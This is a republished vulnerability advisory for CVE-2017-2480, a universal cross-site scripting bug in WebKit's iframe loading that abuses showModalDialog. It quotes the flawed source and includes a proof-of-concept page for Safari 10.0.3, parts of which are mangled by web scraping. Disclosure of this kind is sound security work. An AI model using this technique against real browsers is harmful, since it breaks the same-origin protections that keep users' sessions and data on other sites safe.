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WebKit Synchronous Page Load UXSS

Posted on 10 April 2017

WebKit: UXSS via a synchronous page load

CVE-2017-2480

Here's a snippet of the method SubframeLoader::requestFrame which is invoked when the |src| of an iframe object is changed.

bool SubframeLoader::requestFrame(HTMLFrameOwnerElement& ownerElement, const String& urlString, const AtomicString& frameName, LockHistory lockHistory, LockBackForwardList lockBackForwardList)
{
// Support for <frame src="javascript:string">
URL scriptURL;
URL url;
if (protocolIsJavaScript(urlString)) {
scriptURL = completeURL(urlString); // completeURL() encodes the URL.
url = blankURL();
} else
url = completeURL(urlString);

if (shouldConvertInvalidURLsToBlank() && !url.isValid())
url = blankURL();

Frame* frame = loadOrRedirectSubframe(ownerElement, url, frameName, lockHistory, lockBackForwardList); <<------- in here, the synchronous page load is made.
if (!frame)
return false;

if (!scriptURL.isEmpty())
frame->script().executeIfJavaScriptURL(scriptURL); <<----- boooom

return true;
}

A SOP violation check is made before the above method is called. But the frame's document can be changed before |frame->script().executeIfJavaScriptURL| called. This can happen by calling |showModalDialog| that enters a message loop that may start pending page loads.

Tested on Safari 10.0.3(12602.4.8).

PoC:
<body>
<p>click anywhere</p>
<script>

window.onclick = () => {
window.onclick = null;

f = document.createElement('iframe');
f.src = 'javascript:alert(location)';
f.onload = () => {
f.onload = null;

let a = f.contentDocument.createElement('a');
a.href = '<a href="https://abc.xyz/';" title="" class="" rel="nofollow">https://abc.xyz/';</a>
a.click();

window.showModalDialog(URL.createObjectURL(new Blob([`
<script>
let it = setInterval(() => {
try {
opener[0].document.x;
} catch (e) {
clearInterval(it);

window.close();
}
}, 100);
</scrip` + 't>'], {type: 'text/html'})));
};

document.body.appendChild(f);
};

cached.src = kUrl;

</script>
</body>

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

Found by: lokihardt

 

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